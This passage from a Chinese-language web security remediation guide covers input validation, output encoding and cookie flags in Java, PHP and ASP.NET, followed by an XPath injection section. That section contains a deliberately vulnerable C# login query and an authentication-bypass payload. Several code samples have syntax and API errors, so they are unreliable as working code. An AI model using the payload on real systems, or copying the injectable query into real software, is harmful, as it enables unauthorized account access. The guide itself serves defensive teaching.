  Object[] args = new Object[1];
  args[0] = userName;
  String message = MessageFormat.format(pattern, args);

以下是使用 ResourceBundle 和 MessageFormat 来呈现错误消息的更加全面的示例:

  // Example to render an error message from a localized ErrorMessages resource (properties file)
  // Utility class to retrieve locale-specific error messages
  public Class ErrorMessageResource {
      
      // Returns the error message for the specified error key in the environment locale
      public String getErrorMessage(String errorKey) {
          return getErrorMessage(errorKey, defaultLocale);
      }
      
      // Returns the error message for the specified error key in the specified locale
      public String getErrorMessage(String errorKey, Locale locale) {
          return getErrorMessage(errorKey, null, locale);
      }
      
      // Returns a formatted error message for the specified error key in the specified locale
      public String getErrorMessage(String errorKey, Object[] args, Locale locale) {    
          // Get localized ErrorMessageResource
          ResourceBundle errorMessageResource = ResourceBundle.getBundle("ErrorMessages", locale);
          // Get localized error message
          String errorMessage = errorMessageResource.getString(errorKey);
          if (args != null) {
              // Format the message using the specified placeholders args
              return MessageFormat.format(errorMessage, args);
          } else {
              return errorMessage;
          }
      }
      
      // default environment locale
      private Locale defaultLocale = Locale.getDefaultLocale();
  }
  ...
  // Get the user's locale
  Locale userLocale = request.getLocale();
  // Check if there were any validation errors
  Errors errors = (Errors)request.getAttribute("errors");
  if (errors != null && errors.hasErrors()) {
      // iterate through errors and output error messages corresponding to the "user_name" property
      ArrayList userNameErrors = errors.getErrors("user_name");
      ListIterator iterator = userNameErrors.iterator();
      while (iterator.hasNext()) {
          // Get the next error object
          Error error = (Error)iterator.next();
          String errorMessage = ErrorMessageResource.getErrorMessage(error.getKey(), userLocale);
          output.write(errorMessage + "\r\n");
      }
  }

建议定义定制 JSP 标记(如 displayErrors),以迭代处理并呈现错误消息,如以上示例所示。

[4] 错误映射

通常情况下,“Servlet 容器”会返回与响应状态码或异常相对应的缺省错误页面。可以使用定制错误页面来指定状态码或异常与 Web 资源之间的映射。好的做法是开发不会泄露内部错误状态的静态错误页面(缺省情况下,大部分 Servlet 容器都会报告内部错误消息)。该映射配置在“Web 部署描述符(web.xml)”中,如以下示例所指定:

  <!-- Mapping of HTTP error codes and application exceptions to error pages -->
  <error-page>
    <exception-type>UserValidationException</exception-type>
    <location>/errors/validationError.html</error-page>
  </error-page>
  <error-page>
    <error-code>500</exception-type>
    <location>/errors/internalError.html</error-page>
  </error-page>
  <error-page>
  ...
  </error-page>
  ...


推荐使用的 JAVA 工具用于服务器端验证的两个主要 Java 框架是:

[1] Jakarta Commons Validator(与 Struts 1.1 集成)Jakarta Commons Validator是 Java 框架,定义如上所述的错误处理机制。验证规则配置在 XML 文件中,该文件定义了表单字段的输入验证规则以及对应的验证错误密钥。Struts 提供国际化支持以使用资源束和消息格式化来构建本地化应用程序。

使用“Struts 验证器”来验证 loginForm 的 userName 字段的示例:

  <form-validation>
      <global>
          ...
          <validator name="required"
              classname="org.apache.struts.validator.FieldChecks"
              method="validateRequired"
              msg="errors.required">
          </validator>
          <validator name="mask"
              classname="org.apache.struts.validator.FieldChecks"
              method="validateMask"
              msg="errors.invalid">
          </validator>
          ...
      </global>
      <formset>
          <form name="loginForm">
              <!-- userName is required and is alpha-numeric case insensitive -->
              <field property="userName" depends="required,mask">
                  <!-- message resource key to display if validation fails -->
                  <msg name="mask" key="login.userName.maskmsg"/>
                  <arg0 key="login.userName.displayname"/>
                  <var>
                      <var-name>mask</var-name>
                      <var-value>^[a-zA-Z0-9]*$</var-value>
                  </var>
              </field>
          ...
          </form>
          ...
      </formset>
  </form-validation>

Struts JSP 标记库定义了有条件地显示一组累计错误消息的“errors”标记,如以下示例所示:

  <%@ page language="java" %>
  <%@ taglib uri="/WEB-INF/struts-html.tld" prefix="html" %>
  <%@ taglib uri="/WEB-INF/struts-bean.tld" prefix="bean" %>
  <html:html>
  <head>
  <body>
      <html:form action="/logon.do">    
      <table border="0" width="100%">
      <tr>
          <th align="right">
              <html:errors property="username"/>
              <bean:message key="prompt.username"/>
          </th>
          <td align="left">
              <html:text property="username" size="16"/>
          </td>
      </tr>
      <tr>
      <td align="right">
          <html:submit><bean:message key="button.submit"/></html:submit>
      </td>
      <td align="right">
          <html:reset><bean:message key="button.reset"/></html:reset>
      </td>
      </tr>
      </table>
      </html:form>
  </body>
  </html:html>

[2] JavaServer Faces 技术

“JavaServer Faces 技术”是一组代表 UI 组件、管理组件状态、处理事件、验证输入和支持国际化的 Java API(JSR 127)。


JavaServer Faces API 定义“output_errors”UIOutput 处理器,该处理器显示整个页面的错误消息,或与指定的客户端标识相关联的错误消息。

使用 JavaServer Faces 来验证 loginForm 的 userName 字段的示例:

  <%@ taglib uri="http://java.sun.com/jsf/html" prefix="h" %>
  <%@ taglib uri="http://java.sun.com/jsf/core" prefix="f" %>
  ...
  <jsp:useBean id="UserBean"
      class="myApplication.UserBean" scope="session" />
  <f:use_faces>
    <h:form formName="loginForm" >
      <h:input_text id="userName" size="20" modelReference="UserBean.userName">
          <f:validate_required/>
          <f:validate_length minimum="8" maximum="20"/>    
      </h:input_text>
      <!-- display errors if present -->
      <h:output_errors id="loginErrors" clientId="userName"/>
      <h:command_button id="submit" label="Submit" commandName="submit" /><p>
    </h:form>
  </f:use_faces>

引用

Java API 1.3 -

http://java.sun.com/j2se/1.3/docs/api/

Java API 1.4 -

http://java.sun.com/j2se/1.4/docs/api/

Java Servlet API 2.3 -

http://java.sun.com/products/servlet/2.3/javadoc/

Java 正则表达式包 -

http://jakarta.apache.org/regexp/

Jakarta 验证器 -

http://jakarta.apache.org/commons/validator/

JavaServer Faces 技术 -

http://java.sun.com/j2ee/javaserverfaces/

PHP

** 过滤用户输入


将任何数据传给 SQL 查询之前,应始终先使用筛选技术来适当过滤。 这无论如何强调都不为过。 过滤用户输入可让许多注入缺陷在到达数据库之前便得到更正。


** 对用户输入加引号


不论任何数据类型,只要数据库允许,便用单引号括住所有用户数据,始终是好的观念。 MySQL 允许此格式化技术。


** 转义数据值


如果使用 MySQL 4.3.0 或更新的版本,您应该用 mysql_real_escape_string() 来转义所有字符串。 如果使用旧版的 MySQL,便应该使用 mysql_escape_string() 函数。 如果未使用 MySQL,您可以选择使用特定数据库的特定换码功能。 如果不知道换码功能,您可以选择使用较一般的换码功能,例如,addslashes()。


如果使用 PEAR DB 数据库抽象层,您可以使用 DB::quote() 方法或使用 ? 之类的查询占位符,它会自动转义替换占位符的值。


参考资料

http://ca3.php.net/mysql_real_escape_string

http://ca.php.net/mysql_escape_string

http://ca.php.net/addslashes

http://pear.php.net/package-info.php?package=DB

** 输入数据验证:虽然为方便用户而在客户端层上提供数据验证,但仍必须始终在服务器层上执行数据验证。客户端验证本身就不安全,因为这些验证可轻易绕过,例如,通过禁用 Javascript。

一份好的设计通常需要 Web 应用程序框架,以提供服务器端实用程序例程,从而验证以下内容:[1] 必需字段[2] 字段数据类型(缺省情况下,所有 HTTP 请求参数都是“字符串”)[3] 字段长度[4] 字段范围[5] 字段选项[6] 字段模式[7] cookie 值[8] HTTP 响应好的做法是实现一个或多个验证每个应用程序参数的函数。以下部分描述一些检查的示例。

[1] 必需字段“始终”检查字段不为空,并且其长度要大于零,不包括行距和后面的空格。如何验证必需字段的示例:

  // PHP example to validate required fields
  function validateRequired($input) {
      ...
      $pass = false;
      if (strlen(trim($input))>0){
          $pass = true;
      }
      return $pass;
      ...
  }
  ...
  if (validateRequired($fieldName)) {
      // fieldName is valid, continue processing request
      ...
  }


[2] 输入的 Web 应用程序中的字段数据类型和输入参数欠佳。例如,所有 HTTP 请求参数或 cookie 值的类型都是“字符串”。开发者负责验证输入的数据类型是否正确。[3] 字段长度“始终”确保输入参数(HTTP 请求参数或 cookie 值)有最小长度和/或最大长度的限制。[4] 字段范围

始终确保输入参数是在由功能需求定义的范围内。

[5] 字段选项 Web 应用程序通常会为用户显示一组可供选择的选项(例如,使用 SELECT HTML 标记),但不能执行服务器端验证以确保选定的值是其中一个允许的选项。请记住,恶意用户能够轻易修改任何选项值。始终针对由功能需求定义的受允许的选项来验证选定的用户值。[6] 字段模式

始终检查用户输入与由功能需求定义的模式是否匹配。例如,如果 userName 字段应仅允许字母数字字符,且不区分大小写,那么请使用以下正则表达式:^[a-zA-Z0-9]+$


[7] cookie 值

适用于 cookie 值的相同的验证规则(如上所述)取决于应用程序需求(如验证必需值、验证长度等)。

[8] HTTP 响应[8-1] 过滤用户输入要保护应用程序免遭跨站点脚本编制的攻击,开发者应通过将敏感字符转换为其对应的字符实体来清理 HTML。这些是 HTML 敏感字符:< > " ' % ; ) ( & +


PHP 包含一些自动化清理实用程序函数,如 htmlentities():


  $input = htmlentities($input, ENT_QUOTES, ‘UTF-8’);

此外,为了避免“跨站点脚本编制”的 UTF-7 变体,您应该显式定义响应的 Content-Type 头,例如:

  <?php
  
  header('Content-Type: text/html; charset=UTF-8');
  
  ?>

[8-2] 保护 cookie

在 cookie 中存储敏感数据且通过 SSL 来传输时,请确保先在 HTTP 响应中设置 cookie 的安全标志。这将会指示浏览器仅通过 SSL 连接来使用该 cookie。

为了保护 cookie,您可以使用以下代码示例:

  <$php
  
      $value = "some_value";
      $time = time()+3600;
      $path = "/application/";
      $domain = ".example.com";
      $secure = 1;
  
      setcookie("CookieName", $value, $time, $path, $domain, $secure, TRUE);
  ?>
  

此外,我们建议您使用 HttpOnly 标志。当 HttpOnly 标志设置为 TRUE 时,将只能通过 HTTP 协议来访问 cookie。这意味着无法用脚本语言(如 JavaScript)来访问 cookie。该设置可有效地帮助减少通过 XSS 攻击盗用身份的情况(虽然并非所有浏览器都支持该设置)。

在 PHP 5.2.0 中添加了 HttpOnly 标志。

引用[1] 使用 HTTP 专用 cookie 来减轻“跨站点脚本编制”的影响:

http://msdn2.microsoft.com/en-us/library/ms533046.aspx

[2] PHP 安全协会:

http://phpsec.org/

[3] PHP 和 Web 应用程序安全博客(Chris Shiflett):

http://shiflett.org/

0x02 XPATH 注入

技术描述:

软件未正确对 XML 中使用的特殊元素进行无害化处理,导致攻击者能够在终端系统处理 XML 的语法、内容或命令之前对其进行修改。在 XML 中,特殊元素可能包括保留字或字符,例如“<”、“>”、“"”和“&”,它们可能用于添加新数据或修改 XML 语法。AppScan 发现用户可控制的输入并未由应用程序正确进行无害化处理,就在 XPath 查询中使用。例如,假定 XML 文档包含“user”名称的元素,每个元素各包含 3 个子元素 -“name”、“password”和 “account”。这时下列 XPath 表达式会产生名称为“jsmith”、密码为“Demo1234”的用户的帐号(如果没有这样的用户,便是空字符串):

  string(//user[name/text()='jsmith' and password/text()='Demo1234']/account/text())

以下是应用程序的示例(采用 Microsoft ASP.NET 和 C#):

  ...
  XmlDocument XmlDoc = new XmlDocument();
  XmlDoc.Load("...");
  ...
  XPathNavigator nav = XmlDoc.CreateNavigator();
  XPathExpression expr = nav.Compile("string(//user[name/text()='"+TextBox1.Text+"' and password/text()='"+TextBox2.Text+"']/account/text())");
  String account=Convert.ToString(nav.Evaluate(expr));	
  if (account=="")
  {
  	// name+password pair is not found in the XML document - login failed.
  	...
  }
  else
  {
  	// account found -> Login succeeded. Proceed into the application
  	...
  }

使用此类代码时,攻击者可以注入 XPath 表达式(非常类似 SQL 注入),例如,提供以下值作为用户名:

  ' or 1=1 or ''='

此数据会导致原始 XPath 的语义发生更改,使其始终返回 XML 文档中的第一个帐号。

这意味着虽然攻击者未提供任何有效用户名或密码,但仍将登录(作为 XML 文档中列出的第一个用户)。


威胁影响:可能会访问存储在敏感数据资源中的信息

产生原因:未对用户输入正确执行危险字符清理

缓解修复:

假设所有输入都是恶意的。使用黑名单和白名单的适当组合以确保系统仅处理有效和预期的输入。

Asp.Net

您可以使用验证控件,将输入验证添加到“Web 表单”页面。验证控件提供适用于所有常见类型的标准验证的易用机制 - 例如,测试验证日期是否有效,或验证值是否在范围内 - 以及进行定制编写验证的方法。此外,验证控件还使您能够完整定制向用户显示错误信息的方式。验证控件可搭配“Web 表单”页面的类文件中处理的任何控件使用,其中包括 HTML 和 Web 服务器控件。

为了确保用户输入仅包含有效值,您可以使用以下其中一种验证控件:

a. “RangeValidator”:检查用户条目(值)是否在指定的上下界限之间。 您可以检查配对数字、字母字符和日期内的范围。

b. “RegularExpressionValidator”:检查条目是否与正则表达式定义的模式相匹配。 此类型的验证使您能够检查可预见的字符序列,如社会保险号码、电子邮件地址、电话号码、邮政编码等中的字符序列。

重要注意事项:验证控件不会阻止用户输入或更改页面处理流程,它们只会设置错误状态,并产生错误消息。程序员的职责是,在执行进一步的应用程序特定操作前,测试代码中控件的状态。

有两种方法可检查用户输入的有效性:

1. 测试常规错误状态:

在您的代码中,测试页面的 IsValid 属性。该属性会将页面上所有验证控件的 IsValid 属性值汇总(使用逻辑 AND)。如果将其中一个验证控件设置为无效,那么页面属性将会返回 false。

2. 测试个别控件的错误状态:

在页面的“验证器”集合中循环,该集合包含对所有验证控件的引用。然后,您就可以检查每个验证控件的 IsValid 属性。


J2EE

** 输入数据验证:虽然为了用户的方便,可以提供“客户端”层的数据验证,但必须在“服务器”层(也就是 Servlet)执行数据验证。客户端验证本身就不安全,因为这些验证可轻易绕过,例如,通过禁用 Javascript。

一份好的设计通常需要 Web 应用程序框架,以提供服务器端实用程序例程,从而验证以下内容:[1] 必需字段[2] 字段数据类型(缺省情况下,所有 HTTP 请求参数都是“字符串”)[3] 字段长度[4] 字段范围[5] 字段选项[6] 字段模式[7] cookie 值[8] HTTP 响应好的做法是将以上例程作为“验证器”实用程序类中的静态方法实现。以下部分描述验证器类的一个示例。

[1] 必需字段“始终”检查字段不为空,并且其长度要大于零,不包括行距和后面的空格。


以下是如何验证必需字段的示例:

  // Java example to validate required fields
  public Class Validator {
      ...
      public static boolean validateRequired(String value) {
          boolean isFieldValid = false;
          if (value != null && value.trim().length() > 0) {
              isFieldValid = true;
          }
          return isFieldValid;
      }
      ...
  }
  ...
  String fieldValue = request.getParameter("fieldName");
  if (Validator.validateRequired(fieldValue)) {
      // fieldValue is valid, continue processing request
      ...
  }

[2] 输入的 Web 应用程序中的字段数据类型和输入参数欠佳。例如,所有 HTTP 请求参数或 cookie 值的类型都是“字符串”。开发者负责验证输入的数据类型是否正确。使用 Java 基本包装程序类,来检查是否可将字段值安全地转换为所需的基本数据类型。

以下是验证数字字段(int 类型)的方式的示例:

  // Java example to validate that a field is an int number
  public Class Validator {
      ...
      public static boolean validateInt(String value) {
          boolean isFieldValid = false;
          try {
              Integer.parseInt(value);
              isFieldValid = true;
          } catch (Exception e) {
              isFieldValid = false;
          }
          return isFieldValid;
      }
      ...
  }
  ...
  // check if the HTTP request parameter is of type int
  String fieldValue = request.getParameter("fieldName");
  if (Validator.validateInt(fieldValue)) {
      // fieldValue is valid, continue processing request
      ...
  }

好的做法是将所有 HTTP 请求参数转换为其各自的数据类型。例如,开发者应将请求参数的“integerValue”存储在请求属性中,并按以下示例所示来使用:

  // Example to convert the HTTP request parameter to a primitive wrapper data type
  // and store this value in a request attribute for further processing
  String fieldValue = request.getParameter("fieldName");
  if (Validator.validateInt(fieldValue)) {
      // convert fieldValue to an Integer
      Integer integerValue = Integer.getInteger(fieldValue);
      // store integerValue in a request attribute
      request.setAttribute("fieldName", integerValue);
  }
  ...
  // Use the request attribute for further processing
  Integer integerValue = (Integer)request.getAttribute("fieldName");
  ...

以下是应用程序应处理的主要 Java 数据类型(如上所述):

- Byte

- Short

- Integer

- Long

- Float

- Double

- Date


[3] 字段长度“始终”确保输入参数(HTTP 请求参数或 cookie 值)有最小长度和/或最大长度的限制。以下是验证 userName 字段的长度是否在 8 至 20 个字符之间的示例:

  // Example to validate the field length
  public Class Validator {
      ...
      public static boolean validateLength(String value, int minLength, int maxLength) {
          String validatedValue = value;
          if (!validateRequired(value)) {
              validatedValue = "";
          }
          return (validatedValue.length() >= minLength &&
                      validatedValue.length() <= maxLength);
      }
      ...
  }
  ...
  String userName = request.getParameter("userName");
  if (Validator.validateRequired(userName)) {
      if (Validator.validateLength(userName, 8, 20)) {
          // userName is valid, continue further processing
          ...
      }
  }

[4] 字段范围

始终确保输入参数是在由功能需求定义的范围内。

以下是验证输入 numberOfChoices 是否在 10 至 20 之间的示例:


  // Example to validate the field range
  public Class Validator {
      ...
      public static boolean validateRange(int value, int min, int max) {
          return (value >= min && value <= max);
      }
      ...
  }
  ...
  String fieldValue = request.getParameter("numberOfChoices");
  if (Validator.validateRequired(fieldValue)) {
      if (Validator.validateInt(fieldValue)) {
          int numberOfChoices = Integer.parseInt(fieldValue);
          if (Validator.validateRange(numberOfChoices, 10, 20)) {
              // numberOfChoices is valid, continue processing request
              ...
          }
      }
  }

[5] 字段选项 Web 应用程序通常会为用户显示一组可供选择的选项(例如,使用 SELECT HTML 标记),但不能执行服务器端验证以确保选定的值是其中一个允许的选项。请记住,恶意用户能够轻易修改任何选项值。始终针对由功能需求定义的受允许的选项来验证选定的用户值。以下是针对允许的选项列表来验证用户选择的示例:

  // Example to validate user selection against a list of options
  public Class Validator {
      ...
      public static boolean validateOption(Object[] options, Object value) {
          boolean isValidValue = false;
          try {
              List list = Arrays.asList(options);
              if (list != null) {
                  isValidValue = list.contains(value);
              }
          } catch (Exception e) {
          }
          return isValidValue;
      }
      ...
  }
  ...
  // Allowed options
  String[] options = {"option1", "option2", "option3");
  // Verify that the user selection is one of the allowed options
  String userSelection = request.getParameter("userSelection");
  if (Validator.validateOption(options, userSelection)) {
      // valid user selection, continue processing request
      ...
  }

[6] 字段模式

始终检查用户输入与由功能需求定义的模式是否匹配。例如,如果 userName 字段应仅允许字母数字字符,且不区分大小写,那么请使用以下正则表达式:^[a-zA-Z0-9]*$


Java 1.3 或更早的版本不包含任何正则表达式包。建议将“Apache 正则表达式包”(请参阅以下“资源”)与 Java 1.3 一起使用,以解决该缺乏支持的问题。以下是执行正则表达式验证的示例:

  // Example to validate that a given value matches a specified pattern
  // using the Apache regular expression package
  import org.apache.regexp.RE;
  import org.apache.regexp.RESyntaxException;
  public Class Validator {
      ...
      public static boolean matchPattern(String value, String expression) {
          boolean match = false;
          if (validateRequired(expression)) {
               RE r = new RE(expression);
               match = r.match(value);             
          }
          return match;
      }
      ...
  }
  ...
  // Verify that the userName request parameter is alpha-numeric
  String userName = request.getParameter("userName");
  if (Validator.matchPattern(userName, "^[a-zA-Z0-9]*$")) {
      // userName is valid, continue processing request
      ...
  }

Java 1.4 引进了一种新的正则表达式包(java.util.regex)。以下是使用新的 Java 1.4 正则表达式包的 Validator.matchPattern 修订版:

  // Example to validate that a given value matches a specified pattern
  // using the Java 1.4 regular expression package
  import java.util.regex.Pattern;
  import java.util.regexe.Matcher;
  public Class Validator {
      ...
      public static boolean matchPattern(String value, String expression) {
          boolean match = false;
          if (validateRequired(expression)) {
              match = Pattern.matches(expression, value);
          }
          return match;
      }
      ...
  }

[7] cookie 值使用 javax.servlet.http.Cookie 对象来验证 cookie 值。适用于 cookie 值的相同的验证规则(如上所述)取决于应用程序需求(如验证必需值、验证长度等)。

以下是验证必需 cookie 值的示例:

  // Example to validate a required cookie value
  // First retrieve all available cookies submitted in the HTTP request
  Cookie[] cookies = request.getCookies();
  if (cookies != null) {
      // find the "user" cookie
      for (int i=0; i<cookies.length; ++i) {
          if (cookies[i].getName().equals("user")) {
              // validate the cookie value
              if (Validator.validateRequired(cookies[i].getValue()) {
                  // valid cookie value, continue processing request
                  ...
              }
          }    
      }
  }

[8] HTTP 响应

[8-1] 过滤用户输入要保护应用程序免遭跨站点脚本编制的攻击,开发者应通过将敏感字符转换为其对应的字符实体来清理 HTML。这些是 HTML 敏感字符:< > " ' % ; ) ( & +


以下为以下示例通过将敏感字符转换为其对应的字符实体来过滤指定字符串:

  // Example to filter sensitive data to prevent cross-site scripting
  public Class Validator {
      ...
      public static String filter(String value) {
          if (value == null) {
              return null;
          }        
          StringBuffer result = new StringBuffer(value.length());
          for (int i=0; i<value.length(); ++i) {
              switch (value.charAt(i)) {
              case '<':
                  result.append("&lt;");
                  break;
              case '>': 
                  result.append("&gt;");
                  break;
              case '"': 
                  result.append("&quot;");
                  break;
              case '\'': 
                  result.append("&#39;");
                  break;
              case '%': 
                  result.append("&#37;");
                  break;
              case ';': 
                  result.append("&#59;");
                  break;
              case '(': 
                  result.append("&#40;");
                  break;
              case ')': 
                  result.append("&#41;");
                  break;
              case '&': 
                  result.append("&amp;");
                  break;
              case '+':
                  result.append("&#43;");
                  break;
              default:
                  result.append(value.charAt(i));
                  break;
          }        
          return result;
      }
      ...
  }
  ...
  // Filter the HTTP response using Validator.filter
  PrintWriter out = response.getWriter();
  // set output response
  out.write(Validator.filter(response));
  out.close();

Java Servlet API 2.3 引进了“过滤器”,它支持拦截和转换 HTTP 请求或响应。

以下为使用 Validator.filter 来用“Servlet 过滤器”清理响应的示例:

  // Example to filter all sensitive characters in the HTTP response using a Java Filter.
  // This example is for illustration purposes since it will filter all content in the response, including HTML tags!
  public class SensitiveCharsFilter implements Filter {
      ...
      public void doFilter(ServletRequest request,
                      ServletResponse response,
                      FilterChain chain)
              throws IOException, ServletException {
  
          PrintWriter out = response.getWriter();
          ResponseWrapper wrapper = new ResponseWrapper((HttpServletResponse)response);
          chain.doFilter(request, wrapper);
  
          CharArrayWriter caw = new CharArrayWriter();
          caw.write(Validator.filter(wrapper.toString()));
          
          response.setContentType("text/html");
          response.setContentLength(caw.toString().length());
          out.write(caw.toString());
          out.close();
      }
      ...
      public class CharResponseWrapper extends HttpServletResponseWrapper {
          private CharArrayWriter output;
  
          public String toString() {
              return output.toString();
          }
      
          public CharResponseWrapper(HttpServletResponse response){
              super(response);
              output = new CharArrayWriter();
          }
          
          public PrintWriter getWriter(){
              return new PrintWriter(output);
          }
      }
  } 
  
  }

[8-2] 保护 cookie

在 cookie 中存储敏感数据时,确保使用 Cookie.setSecure(布尔标志)在 HTTP 响应中设置 cookie 的安全标志,以指导浏览器应该使用安全协议(如 HTTPS 或 SSL)发送 cookie。

以下为保护“用户”cookie 的示例:

  // Example to secure a cookie, i.e. instruct the browser to
  // send the cookie using a secure protocol
  Cookie cookie = new Cookie("user", "sensitive");
  cookie.setSecure(true);
  response.addCookie(cookie);

推荐使用的 JAVA 工具用于服务器端验证的两个主要 Java 框架是:

[1] Jakarta Commons Validator(与 Struts 1.1 集成)Jakarta Commons Validator 实施所有以上数据验证需求,是强大的框架。这些规则配置在定义表单字段的输入验证规则的 XML 文件中。在缺省情况下,Struts 支持在使用 Struts“bean:write”标记撰写的所有数据上,过滤 [8] HTTP 响应中输出的危险字符。可通过设置“filter=false”标志来禁用该过滤。

Struts 定义以下基本输入验证器,但也可定义定制的验证器:

required:如果字段包含空格以外的任何字符,便告成功。

mask:如果值与掩码属性给定的正则表达式相匹配,便告成功。

range:如果值在 min 和 max 属性给定的值的范围内((value >= min) & (value <= max)),便告成功。

maxLength:如果字段长度小于或等于 max 属性,便告成功。

minLength:如果字段长度大于或等于 min 属性,便告成功。

byte、short、integer、long、float、double:如果可将值转换为对应的基本类型,便告成功。

date:如果值代表有效日期,便告成功。可能会提供日期模式。

creditCard:如果值可以是有效的信用卡号码,便告成功。

e-mail:如果值可以是有效的电子邮件地址,便告成功。

以下是使用“Struts 验证器”来验证 loginForm 的 userName 字段的示例:

  <form-validation>
      <global>
          ...
          <validator name="required"
              classname="org.apache.struts.validator.FieldChecks"
              method="validateRequired"
              msg="errors.required">
          </validator>
          <validator name="mask"
              classname="org.apache.struts.validator.FieldChecks"
              method="validateMask"
              msg="errors.invalid">
          </validator>
          ...
      </global>
      <formset>
          <form name="loginForm">
              <!-- userName is required and is alpha-numeric case insensitive -->
              <field property="userName" depends="required,mask">
                  <!-- message resource key to display if validation fails -->
                  <msg name="mask" key="login.userName.maskmsg"/>
                  <arg0 key="login.userName.displayname"/>
                  <var>
                      <var-name>mask</var-name>
                      <var-value>^[a-zA-Z0-9]*$</var-value>
                  </var>
              </field>
          ...
          </form>
          ...
      </formset>
  </form-validation>

[2] JavaServer Faces 技术

“JavaServer Faces 技术”是一组代表 UI 组件、管理组件状态、处理事件和输入验证的 Java API(JSR 127)。

JavaServer Faces API 实现以下基本验证器,但可定义定制的验证器: validate_doublerange:在组件上注册 DoubleRangeValidator

validate_length:在组件上注册 LengthValidator

validate_longrange:在组件上注册 LongRangeValidator

validate_required:在组件上注册 RequiredValidator

validate_stringrange:在组件上注册 StringRangeValidator

validator:在组件上注册定制的 Validator


JavaServer Faces API 定义以下 UIInput 和 UIOutput 处理器(标记):

input_date:接受以 java.text.Date 实例格式化的 java.util.Date

output_date:显示以 java.text.Date 实例格式化的 java.util.Date

input_datetime:接受以 java.text.DateTime 实例格式化的 java.util.Date

output_datetime:显示以 java.text.DateTime 实例格式化的 java.util.Date

input_number:显示以 java.text.NumberFormat 格式化的数字数据类型(java.lang.Number 或基本类型)

output_number:显示以 java.text.NumberFormat 格式化的数字数据类型(java.lang.Number 或基本类型)

input_text:接受单行文本字符串。

output_text:显示单行文本字符串。

input_time:接受以 java.text.DateFormat 时间实例格式化的 java.util.Date

output_time:显示以 java.text.DateFormat 时间实例格式化的 java.util.Date

input_hidden:允许页面作者在页面中包括隐藏变量

input_secret:接受不含空格的单行文本,并在输入时,将其显示为一组星号

input_textarea:接受多行文本

output_errors:显示整个页面的错误消息,或与指定的客户端标识相关联的错误消息

output_label:将嵌套的组件显示为指定输入字段的标签

output_message:显示本地化消息


以下是使用 JavaServer Faces 来验证 loginForm 的 userName 字段的示例:

  <%@ taglib uri="http://java.sun.com/jsf/html" prefix="h" %>
  <%@ taglib uri="http://java.sun.com/jsf/core" prefix="f" %>
  ...
  <jsp:useBean id="UserBean"
      class="myApplication.UserBean" scope="session" />
  <f:use_faces>
    <h:form formName="loginForm" >
      <h:input_text id="userName" size="20" modelReference="UserBean.userName">
          <f:validate_required/>
          <f:validate_length minimum="8" maximum="20"/>    
      </h:input_text>
      <!-- display errors if present -->
      <h:output_errors id="loginErrors" clientId="userName"/>
      <h:command_button id="submit" label="Submit" commandName="submit" /><p>
    </h:form>
  </f:use_faces>


引用

Java API 1.3 -

http://java.sun.com/j2se/1.3/docs/api/

Java API 1.4 -

http://java.sun.com/j2se/1.4/docs/api/

Java Servlet API 2.3 -

http://java.sun.com/products/servlet/2.3/javadoc/

Java 正则表达式包 -

http://jakarta.apache.org/regexp/

Jakarta 验证器 -

http://jakarta.apache.org/commons/validator/

JavaServer Faces 技术 -

http://java.sun.com/j2ee/javaserverfaces/

PHP

** 输入数据验证:虽然为方便用户而在客户端层上提供数据验证,但仍必须始终在服务器层上执行数据验证。客户端验证本身就不安全,因为这些验证可轻易绕过,例如,通过禁用 Javascript。

一份好的设计通常需要 Web 应用程序框架,以提供服务器端实用程序例程,从而验证以下内容:[1] 必需字段[2] 字段数据类型(缺省情况下,所有 HTTP 请求参数都是“字符串”)[3] 字段长度[4] 字段范围[5] 字段选项[6] 字段模式[7] cookie 值[8] HTTP 响应好的做法是实现一个或多个验证每个应用程序参数的函数。以下部分描述一些检查的示例。

[1] 必需字段“始终”检查字段不为空,并且其长度要大于零,不包括行距和后面的空格。如何验证必需字段的示例:

  // PHP example to validate required fields
  function validateRequired($input) {
      ...
      $pass = false;
      if (strlen(trim($input))>0){
          $pass = true;
      }
      return $pass;
      ...
  }
  ...
  if (validateRequired($fieldName)) {
      // fieldName is valid, continue processing request
      ...
  }


[2] 输入的 Web 应用程序中的字段数据类型和输入参数欠佳。例如,所有 HTTP 请求参数或 cookie 值的类型都是“字符串”。开发者负责验证输入的数据类型是否正确。[3] 字段长度“始终”确保输入参数(HTTP 请求参数或 cookie 值)有最小长度和/或最大长度的限制。[4] 字段范围

始终确保输入参数是在由功能需求定义的范围内。

[5] 字段选项 Web 应用程序通常会为用户显示一组可供选择的选项(例如,使用 SELECT HTML 标记),但不能执行服务器端验证以确保选定的值是其中一个允许的选项。请记住,恶意用户能够轻易修改任何选项值。始终针对由功能需求定义的受允许的选项来验证选定的用户值。[6] 字段模式

始终检查用户输入与由功能需求定义的模式是否匹配。例如,如果 userName 字段应仅允许字母数字字符,且不区分大小写,那么请使用以下正则表达式:^[a-zA-Z0-9]+$


[7] cookie 值

适用于 cookie 值的相同的验证规则(如上所述)取决于应用程序需求(如验证必需值、验证长度等)。

[8] HTTP 响应[8-1] 过滤用户输入要保护应用程序免遭跨站点脚本编制的攻击,开发者应通过将敏感字符转换为其对应的字符实体来清理 HTML。这些是 HTML 敏感字符:< > " ' % ; ) ( & +


PHP 包含一些自动化清理实用程序函数,如 htmlentities():


  $input = htmlentities($input, ENT_QUOTES, 'UTF-8');

此外,为了避免“跨站点脚本编制”的 UTF-7 变体,您应该显式定义响应的 Content-Type 头,例如:

  <?php
  
  header('Content-Type: text/html; charset=UTF-8');
  
  ?>

[8-2] 保护 cookie

在 cookie 中存储敏感数据且通过 SSL 来传输时,请确保先在 HTTP 响应中设置 cookie 的安全标志。这将会指示浏览器仅通过 SSL 连接来使用该 cookie。

为了保护 cookie,您可以使用以下代码示例:

  <$php
  
      $value = "some_value";
      $time = time()+3600;
      $path = "/application/";
      $domain = ".example.com";
      $secure = 1;
  
      setcookie("CookieName", $value, $time, $path, $domain, $secure, TRUE);
  ?>
  

此外,我们建议您使用 HttpOnly 标志。当 HttpOnly 标志设置为 TRUE 时,将只能通过 HTTP 协议来访问 cookie。这意味着无法用脚本语言(如 JavaScript)来访问 cookie。该设置可有效地帮助减少通过 XSS 攻击盗用身份的情况(虽然并非所有浏览器都支持该设置)。

在 PHP 5.2.0 中添加了 HttpOnly 标志。

引用[1] 使用 HTTP 专用 cookie 来减轻“跨站点脚本编制”的影响:

http://msdn2.microsoft.com/en-us/library/ms533046.aspx

[2] PHP 安全协会:

http://phpsec.org/

[3] PHP 和 Web 应用程序安全博客(Chris Shiflett):

http://shiflett.org/

0x03 LDAP 注入

